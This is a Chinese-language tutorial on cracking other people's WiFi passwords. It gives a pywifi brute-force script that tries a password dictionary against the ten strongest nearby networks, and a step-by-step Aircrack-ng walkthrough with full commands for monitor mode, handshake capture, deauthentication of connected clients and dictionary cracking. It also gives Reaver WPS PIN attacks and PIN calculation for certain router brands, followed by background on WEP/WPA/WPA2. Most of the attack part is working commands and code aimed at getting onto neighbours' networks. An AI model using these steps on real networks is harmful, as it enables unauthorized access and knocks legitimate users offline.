目录
方法一:默认密码大猜想
方法二:推荐使用“wifi万能钥匙”
方法三:抓不到握手包的情况下,使用网卡爆破(用字典和wifi密码碰撞)
下面是python3脚本
方法四:可以抓到握手包的情况下,hash碰撞爆破
实验一:使用Aircrack-ng套件抓包和破解wifi
1. 第一步 airmon-ng列出网卡信息
2. 第二步 airmon-ng start wlan0 开启网卡监控
3. 第三步 airodump-ng wlan0mon 扫描wifi信号
4. 第四步 airodump-ng 抓取握手包
5. 第五步 aireplay-ng 强制用户断开wifi重连
6. 第六步 使用密码字典,破解握手包
方法五:针对有wps功能的路由器,使用PIN码破解
实验二: 使用Wash破解开启了WPS功能的路由器
方法六:利用一些漏洞
最后:无线WiFi网络的密码破解攻防及原理
一、 WiFi的加密方式
1、WEP(有线等效加密)(很容易被破解)
2、WPA-PSK(TKIP)(安全性较高,但是也可以被破解)
3、WPA2-PSK(AES)(安全性较高,破解难度有所增加)
4、WPA-PSK(TKIP)+WPA2-PSK(AES)
二,WiFi的破解方法
1、WiFi万能钥匙
2、暴力破解的原理
3、pin码破解WiFi密码
以下为常见路由器默认密码(一些新手新买的路由器一般嫌麻烦都不会修改密码哦)
当然,wifi万能钥匙并不是万能的,其原理而是将已知得免费公共wifi热点的资源集中在一起,如果当你所在的地方搜索到 wifi万能钥匙数据库的wifi后便自动连接。它并不能让你进入别人加密的wifi。如果以前进入过某个wifi,现在又无法进入,那么可能是以前 wifi的所有者并没有加密,现在加密了,或者密码被修改了!
但——WiFi万能钥匙”类App的真正原理是,收集用户手机上成功连接过的WiFi账号和密码,并上传、存储到App的服务器上,等到附近的蹭网者搜索到同一个网络时,该App就可以根据附近热点的配置信息,从服务器上自动匹配并取得相应的密码,通过数据流量发送到手机端,从而完成WiFi连网。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:Eli
# software: PyCharm
import pywifi
from pywifi import const # 引用一些定义
import time
def getwifi():
wifi = pywifi.PyWiFi() # 抓取网卡接口
ifaces = wifi.interfaces()[0] # 获取网卡
ifaces.scan()
bessis = ifaces.scan_results()
list = []
for data in bessis:
list.append((data.ssid, data.signal))
return len(list), sorted(list, key=lambda st: st[1], reverse=True)
def getsignal():
while True:
n, data = getwifi()
time.sleep(1)
if n != 0:
return data[0:10]
def ssidnamelist():
ssidlist = getsignal()
namelist = []
for item in ssidlist:
namelist.append(item[0])
return namelist
def try_connect(ssidname, password):
wifi = pywifi.PyWiFi() # 抓取网卡接口
ifaces = wifi.interfaces()[0] # 获取网卡
ifaces.disconnect() # 断开无限网卡连接
profile = pywifi.Profile() # 创建wifi连接文件
profile.ssid = ssidname # 定义wifissid
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP ##加密单元
profile.key = password # wifi密码
ifaces.remove_all_network_profiles() # 删除其他所有配置文件
tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
ifaces.connect(tmp_profile) # 连接wifi
time.sleep(5) # 5秒后看能否连接上
if ifaces.status() == const.IFACE_CONNECTED:
print("[-]WiFi connection success!")
else:
print("[-]WiFi connection failure!")
ifaces.disconnect() # 断开连接
time.sleep(1)
return True
def main():
print(" ____ _ __ _____ _____ ___ ")
print(" / ___|_ __ __ _ ___| | _\ \ / /_ _| ___|_ _|")
print("| | | '__/ _` |/ __| |/ /\ \ /\ / / | || |_ | | ")
print("| |___| | | (_| | (__| < \ V V / | || _| | | ")
print(" \____|_| \__,_|\___|_|\_\ \_/\_/ |___|_| |___|")
path = (r"password.txt")
with open(path,'r') as files:
while True:
f = files.readline()
for ssidname in ssidnamelist():
ret = try_connect(ssidname, f)
print('Current WIFIname:', ssidname)
print('Current password:', f)
time.sleep(5)
if __name__ == '__main__':
main()
现在广泛使用的wpa和wpa2协议,不能说100%破解了,破解的具体步骤是:
取消认证攻击——重连时抓握手包——离线破解密码
先通过取消认证攻击使当前活跃设备与目标wifi断开连接,然后设备一般会自动重连,重连过程中会发送带有加密后的wifi密文的握手包,通过嗅探工具将握手包下载到本地,就可以在本地离线破解wifi密码。
支持离线破解,大概是类似web渗透中的抓回密码的哈希值,哈希虽不可逆,不能直接算出明文密码,但可以将一大堆明文密码采用同样的哈希算法加密去逐一匹配碰撞,本质也是暴力破解。但和文章开头讲到的爆破的区别是:一个使用网卡爆破,一个是使用cpu爆破,速度上要快近亿倍。
网上有一些在线hash破解网站,可以根据需要上传hash。如果他们的数据库里没有你的hash,也许等一些天后你的hash密码就被破解出来了呢!
普通的无线路由器,加密方法一般使用wpa 、wpa2或wep,wep因为太不安全极易被破解在现行的无线路由器上已基本取消。所以我们搜索到的待破WiFi基本都是wpa或wpa2加密的。至于使用认证服务器(如radius等)的wpa认证在个人无线WiFi领域基本不可能,所以通常我们能搜索到的待破WiFi都是基于本地密码的wpa或wpa2加密WiFi。
Aircrack-ng套件:
airmon-ng(监听流量)、airodump-ng(抓无线握手包)、aircrack-ng(强制用户断开认证)、aireplay-ng(破解密码)
airmon-ng
列出网卡信息也可以使用 iwconfig
查看 无线网卡工作状态
我这里测试使用的是无线网卡wlan0。
自己的网卡是Qualcomm xxxx不知道为什么扫描不到wifi信号,只能买了一个网卡。。。
airmon-ng start wlan0
开启网卡监控如果启动失败,可以尝试先清理一下阻碍的进程,运行如下命令后重新输入开启监控的命令
airmon-ng check kill
airmon-ng stop wlan0mon #可以关闭网卡监控模式
可以使用ifconfig
命令查看一下网卡信息,网卡的名字已经变了——wlan0mon。
网卡wlan0后面增加了mon(monitor),说明wlan0监听模式启动成功。
airodump-ng wlan0mon
扫描wifi信号按Q或者【Ctrl+ C】可以退出并停止扫描。
这里我用自己家的wifi做实验【CMCC-FNgH】
参数介绍:?????????????????、
airodump-ng
抓取握手包上图获取wifi信息如下:
BSSID是—— 8C:8F:8B:D2:F0:26
信道(CH)是—— 8
输入:
airodump-ng -c 8 -w wificap.cap --bssid 8C:8F:8B:D2:F0:26 wlan0mon
-c:指定信道
-w:指定抓去握手包的存放位置或者名字,wificap.cap 是一会抓去的握手包的名字
–bssid:指定路由器的MAC
当看到这个界面就表示正在抓取握手包了。
这里的STATION下的 9C:BC:F0:D1:65:8A 就是正在使用这个wifi的客户端(手机、电脑等)
aireplay-ng
强制用户断开wifi重连再开一个终端输入命令:
aireplay-ng -0 10 -a 路由器MAC -c 客户机MAC wlan0mon
`aireplay-ng -0 10 -a 8C:8F:8B:D2:F0:26 -c 9C:BC:F0:D1:65:8A wlan0mon`
使用airplay-ng工具强制断开已经连接到wifi的设备断开链接,当设备重新连接路由器时,我们就可以抓到认证包了!
–0:指定发送反认证包(deauth)的个数
-a:指定路由器的MAC
-c:指定客户机的MAC
当airodump-ng 命令执行界面看到如下界面,就表示已经抓到握手包了,接下来就是破解hash了,你的cpu够强大吗?
当然,如果执行aireplay-ng一次不能够抓到握手包,那么就再执行一次!
或者尝试重新运行抓包命令airodump-ng,注意一定要有STATION(有设备连接目标wifi)才能抓包!
看一下抓到的文件:
其中xxxx.cap文件就是我们接下来要执行破解的握手包啦~开心吧!
执行以下命令破解握手包:
aircrack-ng -a2 -w /home/eli/captures/dict.txt wificap.cap-01.cap
标红遮挡的位置就是目标的wifi密码啦~
破解完成,成功与否靠强大的字典和运气了,破解速度就看你的CPU啦。
简单来说,对于开启了WPS功能的路由器,当你知道了它的pin码,就可以连接到wifi并获取明文密码,不再需要其他认证措施。
pin码有8位,第8位是校验和,可以根据前7位算出,而这7位中前4位和后3位是分别认证的,认证成功会给出提示,所以爆破pin码只需11000次(10^4+10^3)即可保证100%成功。
不过有些路由器也会有反制的措施,比如增加pin认证的时间,使一次pin认证需要花费一分钟,那11000次则需要攻击者不间断爆破七天以上,增加了攻击成本。
具体的操作也是可以直接使用kali上的工具:reaver 破解pin码,搜索关键词:kali破解pin码即可搜到
1.第一步
Wash扫描开启WPS的网络
wash -i wlan0mon [-C]
由于周围没有开启WPS功能的wifi,就会出现上图那样,这时不要急,因为有些隐藏了起来,我们直接来。
用前面那个扫wifi的命令:
airodump-ng wlan0mon
看见小编圈起来的MAC没有,选择一个PWR的值的绝对值小于70的wifi破解
2. 第二步
选择一个路由器
我在这选择的是名字为:FAST_F70E的wifi
就他了:E4:D3:32:7F:F7:0E -45 2 0 0 6 54e. WPA2 CCMP PSK FAST_F70E
然后命令如下:
reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S -vv
E4:D3:32:7F:F7:0E 这个mac根据路由器的mac更改,我破解的wifi的mac是E4:D3:32:7F:F7:0E
如图上表示可以破解,开启了wps功能
出现上图这样,就表示不能破解换其他wifi破解吧孩子
这样就表示破解出来了
注意事项:
如果密码被改了你知道他wifi的pin码就用如下命令:reaver-i mon0 -b MAC -p PIN
pin码有8位:所以就是10的8次方,要穷举1000000000次
这样pin也是有限制的,比如要被pin出的路由器必须得开启wps功能;貌似现在很多都是防pin路由器或300秒pin限制的。
有些路由pin码可以通过计算得到:腾达和磊科的产品如果路由MAC地址是以”C83A35″或”00B00C”打头那么可以直接计算出PIN值。
比如这个:bssid :Tenda_579A18 mac :C8:3A:35:57:9A:18 通过计算器将mac后6位换算成10进制数,得到5741080(pin码的前7位),最多试10次或通过软件得到该路由pin码!
破解时推荐这个命令:
reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S –d9 –t9 -vv
因为–d9 –t9参数可以防止pin死路由器。
弱口令、默认口令、超级口令、已知漏洞、0day等
TIP: 一些web前端, 右键审查元素,将type=“password"改成type="text"就能看见密码
这里以无线路由器的WiFi加密方式讲解
目前无线路由器里带有的加密模式主要有:WEP,WPA-PSK(TKIP),WPA2-PSK(AES)和WPA-PSK(TKIP)+WPA2-PSK(AES)。
WEP(有线等效加密)——采用WEP64位或者128位数据加密。
WEP是WiredEquivalentPrivacy的简称,802.11b标准里定义的一个用于无线局域网(WLAN)的安全性协议。WEP被用来提供和有线lan同级的安全性。LAN天生比WLAN安全,因为LAN的物理结构对其有所保护,部分或全部网络埋在建筑物里面也可以防止未授权的访问。经由无线电波的WLAN没有同样的物理结构,因此容易受到攻击、干扰。WEP的目标就是通过对无线电波里的数据加密提供安全性,如同端-端发送一样。WEP特性里使用了rsa数据安全性公司开发的rc4prng算法。如果你的无线基站支持MAC过滤,推荐你连同WEP一起使用这个特性(MAC过滤比加密安全得多)。尽管从名字上看似乎是一个针对有线网络的安全选项,其实并不是这样。WEP标准在无线网络的早期已经创建,目标是成为无线局域网WLAN的必要的安全防护层,但是WEP的表现无疑令人非常失望。它的根源在于设计上存在缺陷。在使用WEP的系统中,在无线网络中传输的数据是使用一个随机产生的密钥来加密的。但是,WEP用来产生这些密钥的方法很快就被发现具有可预测性,这样对于潜在的入侵者来说,就可以很容易的截取和破解这些密钥。即使是一个中等技术水平的无线黑客也可以在两到三分钟内迅速的破解WEP加密。IEEE802.11的动态有线等效保密(WEP)模式是二十世纪九十年代后期设计的,当时功能强大的加密技术作为有效的武器受到美国严格的出口限制。由于害怕强大的加密算法被破解,无线网络产品是被被禁止出口的。然而,仅仅两年以后,动态有线等效保密模式就被发现存在严重的缺点。但是二十世纪九十年代的错误不应该被当著无线网络安全或者IEEE802.11标准本身,无线网络产业不能等待电气电子工程师协会修订标准,因此他们推出了动态密钥完整性协议TKIP(动态有线等效保密的补丁版本)。尽管WEP已经被证明是过时且低效的,但是今天在许多现代的无线访问点和无线路由器中,它依然被支持的加密模式。不仅如此,它依然是被个人或公司所使用的最多的加密方法之一。如果你正在使用WEP加密,如果你对你的网络的安全性非常重视的话,那么以后尽可能的不要再使用WEP,因为那真的不是很安全。
WPA-PSK[TKIP]———采用预共享秘钥的WI-FI保护访问,采用WPA-PSK标准加密技术,加密类型为TKIP。
无线网络最初采用的安全机制是WEP(有线等效加密),但是后来发现WEP是很不安全的,802.11组织开始著手制定新的安全标准,也就是后来的802.11i协议。但是标准的制定到最后的发布需要较长的时间,而且考虑到消费者不会因为为了网络的安全性而放弃原来的无线设备,因此Wi-Fi联盟在标准推出之前,在802.11i草案的基础上,制定了一种称为WPA(Wi-FiProctedAccess)的安全机制,它使用TKIP(临时密钥完整性协议),它使用的加密算法还是WEP中使用的加密算法RC4,所以不需要修改原来无线设备的硬件,WPA针对WEP中存在的问题:IV过短、密钥管理过于简单、对消息完整性没有有效的保护,通过软件升级的方法提高网络的安全性。WPA的出现给用户提供了一个完整的认证机制,AP根据用户的认证结果决定是否允许其接入无线网络中;认证成功后可以根据多种方式(传输数据包的多少、用户接入网络的时间等)动态地改变每个接入用户的加密密钥。另外,对用户在无线中传输的数据包进行MIC编码,确保用户数据不会被其他用户更改。作为802.11i标准的子集,WPA的核心就是IEEE802.1x和TKIP(
TemporalKeyIntegrityProtocol)。WPA考虑到不同的用户和不同的应用安全需要,例如:企业用户需要很高的安全保护(企业级),否则可能会泄露非常重要的商业机密;而家庭用户往往只是使用网络来浏览Internet、收发E-mail、打印和共享文件,这些用户对安全的要求相对较低。为了满足不同安全要求用户的需要,WPA中规定了两种应用模式:企业模式,家庭模式(包括小型办公室)。根据这两种不同的应用模式,WPA的认证也分别有两种不同的方式。对于大型企业的应用,常采用”802.1x+EAP”的方式,用户提供认证所需的凭证。但对于一些中小型的企业网络或者家庭用户,WPA也提供一种简化的模式,它不需要专门的认证服务器。这种模式叫做”WPA预共享密钥(WPA-PSK)”,它仅要求在每个WLAN节点(AP、无线路由器、网卡等)预先输入一个密钥即可实现。这个密钥仅仅用于认证过程,而不用于传输数据的加密。数据加密的密钥是在认证成功后动态生成,系统将保证”一户一密”,不存在像WEP那样全网共享一个加密密钥的情形,因此大大地提高了系统的安全性。**
在802.11i颁布之后,Wi-Fi联盟推出了WPA2,它支持AES(高级加密算法),因此它需要新的硬件支持,它使用CCMP(计数器模式密码块链消息完整码协议)。在WPA/WPA2中,PTK的生成依赖PMK,而PMK获的有两种方式,一个是PSK的形式就是预共享密钥,在这种方式中PMK=PSK,而另一种方式中,需要认证服务器和站点进行协商来产生PMK。IEEE802.11所制定的是技术性标准,Wi-Fi联盟所制定的是商业化标准,而Wi-Fi所制定的商业化标准基本上也都符合IEEE所制定的技术性标准。WPA(Wi-FiProtectedAccess)事实上就是由Wi-Fi联盟所制定的安全性标准,这个商业化标准存在的目的就是为了要支持IEEE802.11i这个以技术为导向的安全性标准。而WPA2其实就是WPA的第二个版本。WPA之所以会出现两个版本的原因就在于Wi-Fi联盟的商业化运作。我们知道802.11i这个任务小组成立的目的就是为了打造一个更安全的无线局域网,所以在加密项目里规范了两个新的安全加密协定–TKIP与CCMP(有些无线网路设备中会以AES、AES-CCMP的字眼来取代CCMP)。其中TKIP虽然针对WEP的弱点作了重大的改良,但保留了RC4演算法和基本架构,言下之意,TKIP亦存在著RC4本身所隐含的弱点。因而802.11i再打造一个全新、安全性更强、更适合应用在无线局域网环境的加密协定-CCMP。所以在CCMP就绪之前,TKIP就已经完成了。但是要等到CCMP完成,再发布完整的IEEE802.11i标准,可能尚需一段时日,而Wi-Fi联盟为了要使得新的安全性标准能够尽快被布署,以消弭使用者对无线局域网安全性的疑虑,进而让无线局域网的市场可以迅速扩展开来,因而使用已经完成TKIP的IEEE802.11i第三版草案(IEEE802.11idraft3)为基准,制定了WPA。而于IEEE完成并公布IEEE802.11i无线局域网安全标准后,Wi-Fi联盟也随即公布了WPA第2版(WPA2)。WPA=IEEE802.11idraft3=IEEE802.1X/EAP+WEP(选择性项目)/TKIPWPA2=IEEE802.11i=IEEE802.1X/EAP+WEP(选择性项目)/TKIP/CCMP**
WPA-PSK[TKIP]+WPA2-PSK[AES]———允许客户端使用WPA-PSK[TKIP]或者WPA2-PSK[AES]。
还有最后一种加密模式就是WPA-PSK(TKIP)+WPA2-PSK(AES),这是目前无线路由里最高的加密模式,目前这种加密模式因为兼容性的问题,还没有被很多用户所使用。目前最广为使用的就是WPA-PSK(TKIP)和WPA2-PSK(AES)两种加密模式。相信在经过加密之后的无线网络,一定能够让我们的用户安心放心的上网冲浪。所以此种方式安全性很高但是考虑到兼容性问题,没有得到广泛使用。
WiFi万能钥匙类App的真正原理是,收集用户手机上成功连接过的WiFi账号和密码,并上传、存储到App的服务器上,等到附近的蹭网者搜索到同一个网络时,该App就可以根据附近热点的配置信息,从服务器上自动匹配并取得相应的密码,通过数据流量发送到手机端,从而完成WiFi连网。
普通的无线路由器,加密方法一般使用wpa 、wpa2或wep,wep因为太不安全极易被破解在现行的无线路由器上已基本取消。所以我们搜索到的待破WiFi基本都是wpa或wpa2加密的。至于使用认证服务器(如radius等)的wpa认证在个人无线WiFi领域基本不可能,所以通常我们能搜索到的待破WiFi都是基于本地密码的wpa或wpa2加密WiFi。
破解wpa和wpa2加密的WiFi网络的基本原理通俗来讲,我们需要先在无线网卡监听模式下搜集目标WiFi的信息,例如ssid(WiFi名称)、BSSID(也就是目标WiFi无线路由器的MAC)、已连接的客户端mac、信号强度等信息。然后发送伪造的取消关联的数据包迫使已连接到该WiFi的客户端与WiFi断开连接,重点是,断开连接后,客户端会重新尝试发起连接到该WiFi网络,这时客户端会发送一个带有认证密码的数据包以便请求重新连入WiFi,这个包俗称为握手包。这时我们的攻击机利用攻击程序和无线网卡监听抓取到这个握手包,这个握手包里就含有WiFi密码,但这个密码当然是经过加密的,所以后续就需要我们使用攻击程序调用密码字典结合获取到的BSSID、客户端MAC等信息进行运算,不断运算字典中的每一个密码,直到有一个密码使用wpa算法能算出一个与抓到的握手包中一致的加密字串,这个就是目标WiFi的密码了。如果把字典里的每一个密码都算过一遍仍然没有一个与抓取到的握手包加密字串一致的,就破解失败,退出,构造新的字典再试。
在早期的无线路由器上开启了wps功能,这个功能简单来讲就是为了方便设备连接WiFi,不需要每次都繁琐的输入密码而设立的一个8位的纯数字字串,客户端可以通过pin码快速关联路由器WiFi。wps这个功能的设计初衷是方便用户连接WiFi,却成为破解WiFi最有效的手段,因为8位纯数字的pin码,最多只有1亿种可能的组合,而由于最后一位是前七位的校验和,所以只需要猜解前七位,猜解的可能组合数就只有一千万种了,又由于发送pin码连接WiFi,pin码前4位出错的返回报错内容和后三位错误的返回报错报文内容不同,所以只需要先猜前四位,前四位对了再猜后面三位,都对了以后最后一位校验和自动可算出来,所以实际最多只需要猜解10000+1000种组合,一般我们2秒种尝试一个pin码,那么理论上最多花费6个小时就一定可以猜解出目标路由器的pin码,进而获取到WiFi密码。
需要说明的是,尽管pin码破解WiFi被认为是最有效的WiFi破解手段,但在实际中不容易实现,一是因为pin码不安全的问题已广泛的被无线路由器的生产厂商所重视,所以现今购买的无线路由器基本都已经取消了这个wps功能。二是在pin的过程中需要不断的向目标路由器发送pin码进行尝试,对方路由器要返回响应报文,有时因路由器本身不稳定或路由器性能等问题,路由器不知不觉就被我们pin死了,使得猜解不能继续或路由器在接收到过多错误的pin码之后会自动休息一段时间,期间不接收pin码,这导致我们pin码猜解的时间过长而没有意义。
参考:
WIFI密码如何破解 教你百分之百成功蹭网【详解】-太平洋IT百科WIFI密码如何破解?最无奈的事情莫过于有WiFi却不知道WiFi密码,下面给大家介绍几个方法,教你百分之百成功蹭网。https://product.pconline.com.cn/itbk/wlbg/network/1709/9981595.html怎样破解无线网络密码(一文读懂WIFI破解原理及攻防) - 科猫网大家应该都有过这样的经历,就是感觉自己家的无线网怎么感觉好像变慢了,"是不是有人蹭我家网?""还有的时候咱们出门也想试图蹭一下别人家的网",这里"蹭网"的前提是要破解对方的"无线密码",那么这个"无线密码"到底是否安全呢?其技术原理是如何的呢?我们又应该如何防范他人"蹭网"呢? 今天我们就以本篇文章内容给大家梳理一下"无线WiFi网络的密码破解攻防及原理"! 一、 WiFi的加密方式 这里以无线路...https://www.kemaowang.org.cn/n/10757.html